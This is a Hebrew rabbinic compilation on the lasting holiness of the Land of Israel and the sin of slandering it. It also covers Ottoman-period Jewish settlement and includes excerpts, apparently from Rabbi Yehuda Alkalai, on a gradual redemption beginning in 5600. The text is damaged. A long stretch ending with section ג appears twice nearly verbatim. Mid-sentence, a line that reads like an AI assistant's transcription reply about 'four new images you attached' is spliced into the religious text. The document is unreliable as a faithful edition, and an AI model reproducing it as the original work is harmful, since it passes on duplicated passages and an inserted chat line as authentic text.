ובריש ד' ו' כ' וז&quot;ל: יתברר לך כי הן עוד היום גדול כח אותו הרשימו דקדושה שנשאר בה להיות מעולה הארץ וכל יושביה מכל שאר הארצות ויושביהן וכו' ומאריך בזה וב' בד' ז' הרי לך ברור כי כפרתן של ישראל היתה ע&quot;י כי נטש את נחלתו ביד הישמעאלים אשר נתן נתן את חלקת חמדת ידידות מנוחתו למדבר שממה.

בסוף ע&quot;א כ' להורות לנו כי הן עוד היום בגלותנו זאת הארץ לוקה בעבור בניה שבחו&quot;ל ואין לך מלקות גדול מזה כי אמרה ציון מצאוני עוני לארץ אחרת יצאוני בני ותאמר ציון עזבני ה' וה' שכחני. היתה כאלמנה ולא אלמנה ממש כי בועליך עושיך ה' צבאות שמו ושקועים בה כל החזיונות והנחמות אשר חזו לה נביאי האמת וצדק ומוכיח ומסיים סוף ע&quot;ב וז&quot;ל ונמצאת למד כי אין חפץ לה' שתשאר הארץ הק' בוקה ומבולקה מכל טוב בנוי' כי היא בלי ספק גם בזמן הזה בית חיינו וזה לך האות כי כל הדר בא&quot;י עושה רצון אביו שבשמים ונקרא צדיק וה' אהבו מאחר שזוכה להיות בתוך פלטרין שלו דהרי לך קרא דכתיב ותקיא הארץ את יושביה, ומאחר שאנו רואים שאינה מקיאה אותם הוא מופת חותך שהם צדיקים ובמ&quot;ש ב' הר' חס&quot;ל.

עוד כתב שם ד' ח' וז&quot;ל, ופוק חזי לאותן שהלכו בגולה והיו חוצה לה בבבל שעם היות כי כה אמר ה' לכל הגולה אשר הגלה מירושלים לבבל שיבנו בתים ויטעו כרמים וכו' לא נתקררה דעתם ולא כן עשו ואדרבא ויתנו את קולם בבכי וצעקה כמ&quot;ש **על נהרות בבל** שם ישבנו גם בכינו וכו' והקללה שקללו א&quot;ע אם אשכחך ירושלם תשכח ימיני נתקיימה בגלות שני זה שאנו בו שנתארך כ&quot;כ זמן ונחשבנו כמת מלב וכל אחד בעיר אומר שלום יהיה לי כי זו היא ירושלם בשבילי אך בני גלות בבל היו אומרים בת בבל השדודה וכו' לפי שהם היו יודעים בטוב טעם כי מקורי צנורי השפע והברכות וקבלת התפלות הם דרך א&quot;י ובפרט בשערי בת ציון ובפרט מן הפרט בביהמ&quot;ק כי שם צוה ה' את הברכה חיים עד העולם.

ובד' ט' מביא ירושלמי **דברכות** ותנחומא ז&quot;ל ר&quot;א בן פדת אומר ביהמ&quot;ק בין בנוי בין חרב לא זזה שכינה ממקומה שנ' והיה עיני ולבי שם כל הימים ע&quot;כ.

עוד בד' י' ע&quot;ב מביא מאמר רז&quot;ל בויקרא רבה בכל מקום שנאמר לי אינו זז משם לא בעוה&quot;ז ולא בעוה&quot;ב וקא חשיב כהנים לוים וישראלים וא&quot;י וירושלם ומלכות ב&quot;ד ומקדש ומזבח עם הכתובים הנאמרים אצל כל א', וכו' הרי לך מן המאמר הנכבד הזה ברור ומבואר כי כמו שקדושת כהנים לוים וישראלים לא זזה ממקומה כך קדושת א&quot;י וירושלם והמקדש והמזבח היא קיימת ועומדת לעד ואעפ&quot;י שהן שוממין בקדושתן הן עומדים כמ&quot;ש במס' מגילה ע&quot;פ והשימותי את מקדשיכם אעפ&quot;י שהן חרבין בקדושתן הן עומדים :

עוד בד' י&quot;ג ב' ראה עוד כמה הגיע כח א&quot;י כמו שאמרנו לבטל המזל והבאתי אתכם אל הארץ זו ארץ החיים שכל מיני חיים תלויים בה, אלו הן חיי עוה&quot;ז וחיי תחית המתים. וחיי העוה&quot;ב. ומביא מכורות ע&quot;ז ועו&quot;ש. עוד הביא בד' י&quot;ד לשון הרמב&quot;ם ז&quot;ל ה' מלכים פ&quot;ה דין ט' י' י&quot;א י&quot;ב, יעו&quot;ש.

נחזור לעניננו כי ה' יסד ציון וקדושת הארץ והמקדש והמזבח היא קדושה נצחית אשר לא זזה ולא תזוז מיסודותיהן ומביא פסוקים ובי' שכל המקראות הללו ואלף כיוצא בהן דאיתניהו בתנ&quot;ך מלבד מאמרי רז&quot;ל שהם אלפים לא יכיל לכל מי שקרא אותם בהשגחה הנצרכת כולם יעידון יגידון כי כמו ששם ה' נקרא עלינו כך שמו נק' תחלה בארץ ההיא כדכתיב כי שמך נקרא על עירך ועל עמך. א&quot;כ השכל הוא מחייב שמי שהיה מלך ויהיה מלך הוא נק' כהיום מלך מכח העבר והעתיד אף כי לפי ראות עיני בשר בהוה ועתיד. וסבת המקרים איננו בחצר מלכותו על כל זה תואר שמו וכבודו הדרת יקר הצר בית מלכותו לא יהסר ולא יתבטל מאחר כי כולי עלמא ידעי טובא כי בהתבטלות הפגע ההוא ישוב לאיתנו הראשון ויטע אהלי אפדנו ובוא יבוא למשפט ליתן שכר לכל אותן שנהגו בו כבוד בהיותו מושפל ולהעניש אותם שזלזלו בו אוי לו ואבוי לו ואוי לנפשו מי שמזלזל בית מלכו ואלהיו. וזרע עבדיו הנאמנים ינחלוהו ואוהבי שמו ישכנו בה מעתה ומעכשיו כי רצו עבדיך את אבניה וגו' הם העם היושבי' בה ומי גר אתך בעניותך עליך יפול בעשירותך וכל המתאבל על ירושלם זוכה ורואה בשמחתה וכל שאינו מתאבל אינו רואה בשמחתה ואצ&quot;ל למי שמוציא ש&quot;ר עליה ועל יושביה כמו המרגלים שאז ודאי אין ספק אצלי ואצל כל חכם לב ירא וחרד לדבר ה' שנכתבה ונחתמה בגזירת מלך מלכו של עולם שחתם גזר דין בתורתו.

וז&quot;ל בד' ט&quot;ז כי יצאה הגזירה מלפניו דכשם שכל האנשים הרואים את כבודי דהיינו על הדור ההוא אני גוזר עליהם שלא יהיו רואים את הארץ כך לדורות הבאים כל מי שיוציא ש&quot;ר על הארץ ילקה בגופו ויקנס בעונש זה והיינו כל מנאצי לא יראוה דקאי על לעתיד ג&quot;כ יהיו תחת גזירה זו שלא יראוה כי המוציא שם רע על הארץ הטובה הנה מורה היותו לא מבני ישראל דכלום יש בן שיוציא ש&quot;ר על אמו שילדה או שהוא עושה דבר שלא ברצון בעלה והנה בן הדבר הזה מאחר שיסוד מוסד הוא היות לכל איש ואיש מבנ&quot;י חלק ונחלה בארץ. ע&quot;ש בע&quot;ב ז&quot;ל ודבת של המרגלים היתה על ארץ שעדיין לא היתה מקודשת בשם כל ישראל להיות נקראת ארץ ישראל כי הרי באותו זמן היתה עדיין נקראת ארץ כנען ובאמת כל מה שדברו רעה לא היה אלא על יושביה שאמרו על הגוים אפס כי עז העם היושב בארץ וגו' וגם מה שהם אומרים מה לנו ולא&quot;י מאחר שכבר השליך אותנו משם אין לנו עוד א&quot;י כארצות העמים שאנחנו יושבים שם שקטים ושאננים ומה לנו ולצרה הזאת שבני א&quot;י יהיו יושבים שם וכש&quot;ש שילכו ויתיישבו ואח&quot;כ יבואו לקחת את ממונינו לפדיון נפשם או לבנות להם בתים לשבת, ע&quot;ז ידעו כי הנה יום לה' צבאות על כל גאה ורם וגו' ונשפטתי אתם וגו' שבאמת פסוק זה מורה שהמשפט הזה על בית ישראל הוא על הוצאות דבת הארץ ויושביה רעה אל אביהם שהנוגע בכבוד הארץ ההיא מחלל כבוד אביו שבשמים. ובסוף סיים וזה לשונו בדף י&quot;ז, ה' יודע כי ת&quot;ל רובא דרובא דמינכר בקהלות ישרא' כל הגולה צדיקים הם ורצו עבדיו את אבניה ואת עפרה יחוננו ואם יש יכולת בידם לעלות ואינם עושין הוא מפני חסרון ידיעתם בגדולות הארץ ותועלותיה והרי אלו שוגגין ולא מזידין יעו&quot;ש.

מעתה מי הוא ואיזה הוא אשר יבוא אחר דברי המלכים אדירי התורה האלה להעלות על רוחו עוד איזה ספק בקדושת הארץ בזה&quot;ז בכל גבולותיה וכ&quot;ש לדבר סרה עליה ועל יושביה עם הק' ברוכי ה'.


שמחו את ירושלם וגילו בה כל אוהביה.

[בונה ירושלים ד' נדחי ישראל יכנס].

הנה ידוע ומפורסם שכל מה שהוצרכו חז&quot;ל כת הקודמין להזהיר על החזקת היושבים בא&quot;י כמבואר למעלה הוא רק בזמניהם שאז לא היה ישוב נכון ומתי מעט היו היושבים באיזהו מקומן של תובב&quot;א ארבע ארצות הק' הידועים ומסיבת מיעוט הישוב ותקיפות הערבים שהיו בימיהם היה להם צער גדול בישיבת הארץ מכל צד ומכל פנה כאשר שמענו ונדעם. אמנם כאשר קרב זמן והותר הנדר מלמעלה נתן ה' רגש והתעוררות גדולה בלב חכמי וגדולי ישראל שרים ופרתמים עשירי עם ובקשו ממלכי חסד האדירים והרחמנים העותמנים יר&quot;ה לתת לישראל החופש להתיישב ישוב טוב בא&quot;י בל תהיה עוד הארץ שממה. ולב מלך ביד ה' נתן בלב כל מלך שעמד מזמן המלך החסיד הרחמן סולטאן סלים ז&quot;ל ועד עתה חן וחסד לישראל ופתח להם הדרך להתיישב בארץ השממה וגלה את יסודות בית המקדש וכותל המערבי והרשה את היהודים שהיו דרים בירושת&quot;ו

בזמנו לבנות את הבית לתלפיות כשהיה [כי ידע את התועלת המגיע לממשלתו אח&quot;כ בבנינו כמ&quot;ש חז&quot;ל אלו ידעו הרומיים את ערך התועלת הגדולה שהיתה להם בנין ביהמ&quot;ק לא היו מחריבים אותו] אך הם השיבו כי לא יוכלו עד שירצה ה' וכו' כמבואר בס' חבב ירושלם ע&quot;ש ומאותו זמן והלאה התחיל הישוב לאט לאט ואז נתרבה הישוב הלוך וגדל באין מפגיע מהמציקים יושבי הארץ כמקדם ותמיד אנו מתפללים בשלומה של מלכות כמו שצוונו חז&quot;ל כי בשלומה יהיה לנו שלום! אחרי כתבי כ&quot;ז אינה ה' לידי ס' &quot;רגלי מבשר&quot; להרב ר' יאודה אלקלעי ז&quot;ל שהבר ושלחו אל חברת &quot;ישוב א&quot;י&quot; וחברת כי&quot;ח שהיו בזמנו בשנת הת&quot;ר ועל צבא הפאר והתהלה כבוד המנוח סי' משה מונטיפיורי ז&quot;ל וראיתי שם שעוררם לישוב הארץ ברעש גדול ובהתלהבות עצומה ובודאי שדבריו נכנסו באזניהם ועשו פרי תנובה כאשר עינינו הרואות שכמה מושבות נבנו בירושלם וסביבותיה ע&quot;י. ויען שאין עוד מקום להביא כאן כל דבריו לכן נתתי אל לבי להביא בקובץ זה איזה סעיפים השייכים לכוונתנו הרצויה וזה החלי.

א. אמרו עוד במדרש הובא בס' אבקת רוכל ס' ראשון חלק שני וז&quot;ל ובריש פסיקתא אמרינן כשברא הקב&quot;ה את עולמו פשט ידו תחת כסא הכבוד

והוציא נשמת המשיח וכת שלו. א&quot;ל רוצה אתה לבראות ולגאול את בני אחר ששת אלפים. א&quot;ל הן. א&quot;ל אם כן תסבול יסורין למרק עונם הה&quot;ד אכן חליינו הוא נשא. א&quot;ל אסבול אותם בשמחה. א&quot;ל צדיקים יחיו בביאתך א&quot;ל יהי רצון שיחיו כולם ואפילו נפלים וכו' ואמרו רז&quot;ל כי קודם לכן יבא משיח בן יוסף ויקבץ הגליות עכ&quot;ל.

ומדבריהם למדנו, א' כי הגואל הגדול משיח בן דוד המורגל בפי כל ישראל, הוא היעוד האחרון והמופלא שבכל יעודי הגאולה.

ולכן אין לנו לדבר מן המב&quot;ד שהוא סוף הגאולה, ומה יש בידנו לדבר בו. כיון שלא פורש אם הוא מן החיים או מן המתים, ואיך, ומתי יבא, נעלם מאתנו ואין צורך לדבר בו. כיון שהוא יבא אחרי בנין הבית כמ&quot;ש בירושלמי מעשר שני פ' ה', וכשישובו האורים על לב אהרן אזי יודע לכל מהות הבן דוד מי הוא ואיזה הוא ומוצאיו ומובאיו וכל חוקותיו. אבל על המב&quot;י שהוא התחלת הגאולה חייבים אנחנו לדבר בו לדבר על לב עגומים ולדעת מה יעשה ישראל.

התחלת הגאולה דבר ה' בהושע, ונקבצו בני יהודה ובני ישראל יחדיו ושמו להם ראש אחד ועלו מן הארץ כי גדול יום יזרעאל. ולכן פתח דברו יאיר.

תחילת דבר ה' בהושע. תחילת הוא סמוך וחסר הנסמך. ר&quot;ל תחילת הגאולה דבר ה' בהושע. ר&quot;ל כל הנביאים נתנבאו נחמות ויעודי הגאולה, אבל ההתחלה דבר ה' בהושע ונקבצו ושמו להם ראש אחד הוא המשיח ב&quot;י [מ&quot;י ד' ס&quot;ט ע&quot;ד] והוא יקבץ הגליות ועלו מן הארץ כי גדול יום יזרעאל.

אמרו רבותנו ז&quot;ל, גדול יום קיבוץ גליות, התחלת הגאולה אשר הוא פשוט ומפורש בהושע הסתירו אותו רז&quot;ל ולא דברו ממנו, כי דאגו פן יקום איש רע ובליעל ויקבץ ריקים ופוחזים ויעשו פרצה בעולם, ולכן השיאו את הענין למעלה מן הטבע, ודברו, על ביאת בן דוד באותות ומופתים בשמים ובארץ, ואמרו חידות ומשלים ויעודים גדולים ונפלאים כדי שדלת עמי הארץ יהיו עיניהם נשואות לאותות השמים, ובכל יום יטו אזנם לשמוע את קול השופר הגדול [עיין מ&quot;י ד' י&quot;ג ע&quot;ד] ובכל יום יחליפו כח לסבול עול הגלות והצרות, ע&quot;ד שאמרו במד' הנעלם פ' תולדות ד' קל&quot;ז ע&quot;א וז&quot;ל א&quot;ר יהושע האי מהימנותא דאמרו רבנן לרובא דעלמא דזמינין אינון בהאי סעודתא דלויתן וההוא תורא ולמשתי חמרא טב דאתנטר מבד אתברי עולם וכו', כה&quot;ג חמו רבנן דגלותא אתמשך, אסמכתמו על קראי דאורייתא ואמרו

דזמינין למיכל ולמחדי בסעודתא רבא דזמין קודשא ב&quot;ה למעבד להו ועל דא רובא דעלמא סבלו גלותא בגין ההוא סעודתא עכ&quot;ל.

וכאשר סבבונו צרות רבות ורעות נתנו אומץ בלבבם לאמר חבלי משיח הם! וככה עברנו את מעבר יבק קץ&quot;ב יובלות העולם הזה שנשלמו שנת תר&quot;ה, וב&quot;ה שמרנו את שבועת אלהינו שלא ימרדו באומות העולם [כתובות ד' ק&quot;יא ע&quot;א] וזה לנו האות לגודל חכמתם וידיעתם במדיניות, אם כשהשיאו את הענין למעלה מן הטבע יצאו אנשים בני בליעל ועשו מעשים אשר לא יעשו ועברו על נפשנו המים הזידונים היינו לשמה למשל ולשנינה! על אחת כמה וכמה אם היה דבר הקיבוץ ידוע לכל, וכן התשובה לא אמרו לנו הוראתו הראשונה שהיא תשובה לארץ כמו ותשובתו הרמתה כי שם ביתו [שמואל א' ז'] פן יתאספו ריקים ויאמרו נתנה ראש ונשובה, והדבר הזה אין אנו רשאים לעשות כי אם ברשיון מלכי הארץ, והם ישימו עלינו ראש אחד ויקראו לנו דרור לשוב אל ארצנו ואל נחלת אבותינו.

והתחלת הגאולה תהיה מן האומה בעצמה ונקבצו בני יהודה ובני ישראל יחדיו לפקח ולהשגיח בעניני הקבוץ ולכונן לבם אל הבקשה הכללית מאת מלכי הארץ. וכן כתיב [ישעיה נ&quot;א] התנערי מעפר קומי שבי ירושלים התפתחו מוסרי צוארך, בנין התפעל בנין עומד. ר&quot;ל שהם בעצמם יתפתחו ונקבצו וכו' וכן כתב הרב קול יעקב קול בוכים ד' ס&quot;ח ע&quot;א. ואם תאמר מי יאסוף אותנו ואנחנו מפוזרים בקצוי ארץ? אבל לא בקרבת הגופות תלוי הענין כי אם בקירוב הלבבות שנכונן לבנו אל הבקשה הכללית הנוגעת לכולנו יחד כמ&quot;ש [ירמיה נ'] בימים ההמה ובעת ההיא יבאו בני ישראל ובני יהודה יחדיו הלוך ובכו ילכו ואת ה' אלהיהם יבקשו. ציון ישאלו וכו' עכ&quot;ל. וסוף הגאולה על ידי הגואל הגדול מבני בניו של דוד. ומהתחלת הגאולה עד סופה ארבע מאות שנה כמ&quot;ש בפ' חלק רבי דוסא אומר ימות המשיח ת' שנה שמתחילין שנת ת&quot;ר עד האלף השביעי.ותכלית הגאולה היא מושגה הרוחני שיכירו וידעו כל יושבי תבל כי ה' הוא האלהים אין עוד מלבדו.כי לתכלית זה יהיה תחית המתים כמ&quot;ש מוהר&quot;י ארבנאל ז&quot;ל מ&quot;ד' מ&quot;א ע&quot;א וז&quot;ל וכבר זכרתי שתהיה הפליאה העצומה הזאת לשתי תכליות האחת כולל לכל באי עולם. והוא כדי שבאמצעות המתים שיקומו בתחיה אנשים יחידים והיותר רשומים שבכל מחוז ומחוז חכמיהם קדושיהם ונביאיהם יבאו האומות להאמין באלהות הש&quot;י ולעבדו שכם אחד כי הקמים יפרסמו ויגידו את מעשה ה' כי נורא הוא. ושמשה (צ&quot;ל ומשה) אמת ותורתו אמת עב&quot;ל. אך זה היום שקוינוהו. יום ה' הגדול והנורא. הוי כי גדול היום ההוא מאין כמוהו. ביום ההוא יהיה ה' אחד ושמו אחד. ונשגב ה' לבדו ביום ההוא. הוא יודע לה' הוא נעלם מעיני כל חי כמ&quot;ש כי יום נקם בלבי ושנת גאולי באה. אמרו בפ' חלק מאי יום נקם בלבי א&quot;ר יוחנן ללבי גליתי לאברי לא גליתי.רשב&quot;ל אומר ללבי גליתי למלאכי השרת לא גליתי. א&quot;כ כל מאמרי רז&quot;ל שאמרו על הגאולה וביאת משיחנו הם משום יגדיל תורה דרוש וקבל שכר כי אין אדם יודע מה בלבו של חברו אף כי בלבו של מקום. וכן כתב הרמב&quot;ם ז&quot;ל הלכות מלכים פ' י&quot;ב וז&quot;ל גם החכמים אין להם קבלה בדברים אלו. וכן כתב רבינו הגדול איש ירושלים כמוהר&quot;ר רפאל יוסף חזן זלה&quot;ה בספרו מערכי לב דרוש ק' וז&quot;ל וכל דברי רז&quot;ל בזה הוא לפי מה שהבינו בהכרע הכתובים. וברוך היודע אם ירדו לעומק הדברים עכ&quot;ל. ולכן בענינים אלו אין לדמות נברא לנברא.אבל קשה? כתיב כי לא יעשה אדני אלהים דבר כי אם גלה סודו אל עבדיו הנביאים. ולמה לא גילה להם רז זה שידברו על לב ירושלים ויקראו אליה יום מלאה צבאה יום נרצה עונה? וי&quot;ל כי הדבר הזה לא גילה מפני שתלוי במעשנו הטובים. ואלו צדיק ורשע לא קאמר ולכן לבא לפומא לא גלי. וכל מאמרי רז&quot;ל הם אמת וצדק. ולא יש בהם מחלוקת ולא מדרשים חלוקים. אלא אם נגיע במעשנו הטובים למעלה הידועה לפני ית', נשיג היעוד הטוב הראוי לאותה המעלה. ה' הבטיח לאברהם למועד אשוב אליך כעת חיה ולשרה בן. ואם אברהם לא יבא אל שרה לא תלד, ואבד ההבטחה הטובה. וכן כתיב וברכך ה' אלהיך יכול יושב ובטל, תלמוד לומר בכל אשר תעשה. וכן כתיב כי כארץ תוציא צמחה וכגנה זרועיה תצמיח. אם תזרע. לא תזרע לא תצמיח.כן אדני אלקים יצמיח צדקה ותהלה אם תזרע. ראוים היו בימי עזרא להעשות להם נס אלא שגרם החטא.

זרעו לכם לצדקה וכו'. ועוד יש לומר כי סוד הגאולה לא נגלה מפני שמסורה לבית דין שהם יעשו לפי ראות עיניהם לפי המקום ולפי הזמן. ולכן קרא עלי מועד. והצומות יהיו לבית יהודה למועדים טובים. לסימן כי הגאולה מסורה לבית דין כקביעות המועדים. וכן אמרו בזוה&quot;ק פ' אמור ד' צ&quot;ג ע&quot;ב. ע&quot;ש.


ג. תשועת ישראל היא לבקש מאת מלכי הארץ בקשה כללית בעד עמינו ובעד ערי אלהינו להחזירנו בתשובה אל בית אמנו ואל חדר הורתנו. והמבקש הבקשה הוא הגואל והמושיע. ותשועתנו מהרה תצמח ע&quot;י מלכי הארץ כמ&quot;ש ישעיה מ&quot;ט. כה אמר אדני אלקים הנה אשא אל גוים ידי וכו'. פי' מוהר&quot;י אברבנאל ז&quot;ל [מ&quot;ש ד' ב&quot;ה ע&quot;ד וז&quot;ל] ולפי שציון תתפלא על שיבת בניה לתוכה. לכן אמר הנביא הנה הדבר הזה יהיה בכח גבורתי וע&quot;י הגוים עצמם יהיה הנס הזה עכ&quot;ל. וכן כתב רד&quot;ק תהלים קמ&quot;ו. וכן כתב רבינו בחיי סוף פרשת תולדות. וכן יעוד הנביא ירמיה ל&quot;א. עוד אבנך ונבנית בתולת ישראל. פי' רד&quot;ק האסיפה והקיבוץ הוא דומיא דבנין. ר&quot;ל ונקבצו בני יהודה ובני ישראל יחדיו לכונן את לבבם אל הבקשה הכללית ואל התשובה הכללית דהיינו תשובה לארץ. וכן אמרו במד' ב&quot;ר פ' צ&quot;ח אם כן למה מלך המשיח בא וכו'. פי' הרב יפה תואר דאי לקבץ גליות אין צורך לו כי ה' מזרה ישראל יקבצנו כמ&quot;ש ונשא נס לגוים ואסף נדחי ישראל. וכן והביאו את כל אחיכם מכל הגוים מנחה לה'. וה' יעשה הדברים בדרך ארץ עב&quot;ל והדרך ארץ הוא לבקש חנינה מאת הארץ. וכן כתיב [ישעיה נ&quot;א] התנערי מעפר קומי שבי ירושלים התפתחו מוסרי צוארך, בנין התפעל בנין עומד. ר&quot;ל שהם בעצמם יתפתחו ונקבצו וכו' וכן כתב הרב קול יעקב קול בוכים ד' ס&quot;ח ע&quot;א. ואם תאמר מי יאסוף אותנו ואנחנו מפוזרים בקצוי ארץ? אבל לא בקרבת הגופות תלוי הענין כי אם בקירוב הלבבות שנכונן לבנו אל הבקשה הכללית הנוגעת לכולנו יחד כמ&quot;ש [ירמיה נ'] בימים ההמה ובעת ההיא יבאו בני ישראל ובני יהודה יחדיו הלוך ובכו ילכו ואת ה' אלהיהם יבקשו. ציון ישאלו וכו' עכ&quot;ל. וסוף הגאולה על ידי הגואל הגדול מבני בניו של דוד. ומהתחלת הגאולה עד סופה ארבע מאות שנה כמ&quot;ש בפ' חלק רבי דוסא אומר ימות המשיח ת' שנה שמתחילין שנת ת&quot;ר עד האלף השביעי. ותכלית הגאולה היא מושגה הרוחני שיכירו וידעו כל יושבי תבל כי ה' הוא האלהים אין עוד מלבדו. כי לתכלית זה יהיה תחית המתים כמ&quot;ש מוהר&quot;י אברבנאל ז&quot;ל מ&quot;ד' מ&quot;א ע&quot;א וז&quot;ל וכבר זכרתי שתהיה הפליאה העצומה הזאת לשתי תכליות האחת כולל לכל באי עולם. והוא כדי שבאמצעות המתים שיקומו בתחיה אנשים יחידים והיותר רשומים שבכל מחוז ומחוז חכמיהם קדושיהם ונביאיהם יבאו האומות להאמין באלהות הש&quot;י ולעבדו שכם אחד כי הקמים יפרסמו ויגידו את מעשה ה' כי נורא הוא. ושמשה (צ&quot;ל ומשה) אמת ותורתו אמת עב&quot;ל. אך זה היום שקוינוהו. יום ה' הגדול והנורא. הוי כי גדול היום ההוא מאין כמוהו. ביום ההוא יהיה ה'אחד ושמו אחד. ונשגב ה' לבדו ביום ההוא. הוא יודע לה' הוא נעלם מעיני כל חי כמ&quot;ש כי יום נקם בלבי ושנת גאולי באה. אמרו בפ' חלק מאי יום נקם בלבי א&quot;ר יוחנן ללבי גליתי לאברי לא גליתי. רשב&quot;ל אומר ללבי גליתי למלאכי השרת לא גליתי. א&quot;כ כל מאמרי רז&quot;ל שאמרו על הגאולה וביאת משיחנו הם משום יגדיל תורה דרוש וקבל שכר כי אין אדם יודע מה בלבו של חברו אף כי בלבו של מקום. וכן כתב הרמב&quot;ם ז&quot;ל הלכות מלכים פ' י&quot;ב וז&quot;ל גם החכמים אין להם קבלה בדברים אלו. וכן כתב רבינו הגדול איש ירושלים כמוהר&quot;ר רפאל יוסף חזן זלה&quot;ה בספרו מערכי לב דרוש ק' וז&quot;ל וכל דברי רז&quot;ל בזה הוא לפי מה שהבינו בהכרע הכתובים. וברוך היודע אם ירדו לעומק הדברים עכ&quot;ל. ולכן בענינים אלו אין לדמות נברא לנברא. אבל קשה? כתיב כי לא יעשה אדני אלהים דבר כי אם גלה סודו אל עבדיו הנביאים. ולמה לא גילה רז זה שידברו על לב ירושלים ויקראו אליה יום מלאה צבאה יום נרצה עונה? וי&quot;ל כי הדבר הזה לא גילה מפני שתלוי במעשנו הטובים. ואלו צדיק ורשע לא קאמר ולכן לבא לפומא לא גלי. וכל מאמרי רז&quot;ל הם אמת וצדק. ולא יש בהם מחלוקת ולא מדרשים חלוקים. אלא אם נגיע במעשנו הטוביםלמעלה הידועה לפני ית', נשיג היעוד הטוב הראוי לאותה המעלה. ה' הבטיח לאברהם למועד אשוב אליך כעת חיה ולשרה בן. ואם אברהם לא יבא אל שרה לא תלד, ואבד ההבטחה הטובה. וכן כתיב וברכך ה' אלהיך יכול יושב ובטל, תלמוד לומר בכל אשר תעשה. וכן כתיב כי כארץ תוציא צמחה וכגנה זרועיה תצמיח. אם תזרע. לא תזרע לא תצמיח. כן אדני אלקים יצמיח צדקה ותהלה אם תזרע. ראוים היו בימי עזרא להעשות להם נס אלא שגרם החטא. זרעו לכם לצדקה וכו'. ועוד יש לומר כי סוד הגאולה לא נגלה מפני שמסורה לבית דין שהם יעשו לפי ראות עיניהם לפי המקום ולפי הזמן. ולכן קרא עלי מועד. והצומות יהיו לבית יהודה למועדים טובים. לסימן כי הגאולה מסורה לבית דין כקביעות המועדים. וכן אמרו בזוה&quot;ק פ' אמור ד' צ&quot;ג ע&quot;ב. ע&quot;ש.

ג. תשועת ישראל היא לבקש מאת מלכי הארץ בקשה כללית בעד עמינו ובעד ערי אלהינו להחזירנו בתשובה אל בית אמנו ואל חדר הורתנו. והמבקש הבקשה הוא הגואל והמושיע. ותשועתנו מהרה תצמח ע&quot;י מלכי הארץ כמ&quot;ש ישעיה מ&quot;ט. כה אמר אדני אלקים הנה אשא אל גוים ידי וכו'. פי' מוהר&quot;י אברבנאל ז&quot;ל [מ&quot;ש ד' ב&quot;ה ע&quot;ד וז&quot;ל] ולפי שציון תתפלא על שיבת בניה לתוכה. לכן אמר הנביא הנה הדבר הזה יהיה בכח גבורתי וע&quot;י הגוים עצמם יהיה הנס הזה עכ&quot;ל. וכן כתב רד&quot;ק תהלים קמ&quot;ו. וכן כתב רבינו בחיי סוף פרשת תולדות. וכן יעוד הנביא ירמיה ל&quot;א. עוד אבנך ונבנית בתולת ישראל. פי' רד&quot;ק האסיפה והקיבוץ הוא דומיא דבנין. ר&quot;ל ונקבצו בני יהודה ובני ישראל יחדיו לכונן את לבבם אל הבקשה הכללית ואל התשובה הכללית דהיינו תשובה לארץ. וכן אמרו במד' ב&quot;ר פ' צ&quot;ח אם כן למה מלך המשיח בא וכו'. פי' הרב יפה תואר דאי לקבץ גליות אין צורך לו כי ה' מזרה ישראל יקבצנו כמ&quot;ש ונשא נס לגוים ואסף נדחי ישראל. וכן והביאו את כל אחיכם מכל הגוים מנחה לה'. וה' יעשה הדברים בדרך ארץ עב&quot;ל והדרך ארץ הוא לבקש חנינה מאת הנה הטקסט המלא המופיע בארבע התמונות החדשות שצירפת, מוקלד במדויק שורה אחר שורה לפי סדרן:

מלכי הארץ והבטיחה התורה ובקשתכם משם את ה' אלהיך ומצאתו. וכן כתיב ועלו מושיעים בהר ציון פי' מוהר&quot;י אברבנאל ז&quot;ל אל המלכיות [מ&quot;ש ד' פ&quot;פ ע&quot;ג] ורש&quot;י פי' שרי ישראל. והכל אחד כי שרי ישראל יבקשו מאת מלכי הארץ כמו שבקשו עזרא ונחמיה. וה' יטה את לבם לעשות את בקשתם. כמ&quot;ש ישעיה מ&quot;ד. מקים דבר עבדו ועצת מלאכיו ישלים האומר לירושלים תושב וכו'. פי' הרב כלי פז וז&quot;ל לא יהיה הוא ית' המתחיל כי אם ישראל והוא ית' ישלים.

ד. המבשר טוב המשמיע ישועה ישעיהו בן אמוץ החוזה מזרע המלוכה. יען משח ה' אותי לבשר ענוים לחבוש לנשברי לב מגיד מראשית אחרית פקודת בבל על ידי כורש. והגאולה העתידה ע&quot;י אדוננו השולטן יר&quot;ה. כי הוא האיש אדוני הארץ הקדושה. הוא שנאמר[ישעיה מ&quot;ה] כה אמר ה' למשיחו לכורש וכו' על פקודת בבל. ישראל נושע בה' תשועת עולמים על הגאולה העתידה. כי פקודת בבל לא היתה תשועת עולמים. יסוד מוסד אצלי. כי שנת ת&quot;ר נשלמו שנות העוה&quot;ז. ועברנו את מעבר יב&quot;ק קו&quot;ב יובלות. שנת ת&quot;ר מתחילין ת' שנה ימות המשיח ח' יובלות כנגד ח' ימי המילה. ולכן נשנית מתנת הארץ בברית המילה. כמ&quot;ש ב&quot;ר פ' ט' ויהי ערב ויהי בקר יום הששי א&quot;ר יודן זו שעה יתירה שמוסיפין מחול על הקודש. ובה נגמרה מלאכת העולם על כן כתיב הששי א&quot;ר סימון בר מרתא עד כאן מונין למניינו של עולם מכאן ואילך מונין למנין אחר. ר&quot;ל כתיב הששי ה' יתירה לרמוז ה' אלפים ת&quot;ר נשלמו שנות העו&quot;הז. מכאן ואילך הוא תוספת מחול על הקודש השבת הגדול והנורא האלף השביעי והן התחומין שקבע יעקב אבינו מבעוד יום הששי [ב&quot;ר פ' ע&quot;ט]. וכן אמרו בפירוש בזו&quot;הק פ' וירא ד' קט&quot;ז ע&quot;א ובשית מאה שנין לשתיתאה וכו' ויתתקן עלמא לאעלא בשביעאה. כבר נש דמתתקן ביומא שתיתאה מבי ערב שמשא לאעלא בשבתא וכו' א&quot;ל ר' יוסי כל דא אריכו זמנא מכמה דאוקמוה חברייא דאיהו יומא חדא גלותא דישראל ולא יתיר דכתיב נתנני שוממה כל היום דוה. אמר ר' יהודה הכי אוליפנא מאבא ברזא דאתוון דשמא קדישא וכו'. ר&quot;ל גאולת מצרים היתה בי&quot;ה משמו הגדול עזי וזמרת יה והגאולה העתידהבו&quot;ה. ה' אלפים שש מאות א&quot;ל ר' יוסי שפיר קאמרת דאיהו גו רזא דאתוון וכו'. והוא רזא דוא&quot;ו דכתיב וזכרתי את בריתי יעקוב. ה' פעמים כתיב יעקוב מלא ואליה חסר שלקח ממנו לערבון שיבא ויבשר גאולת בניו. [רש&quot;י בחקותי]. ה' פעמים רמז חמשת אלפים ו' רמז לשנת ת&quot;ר.

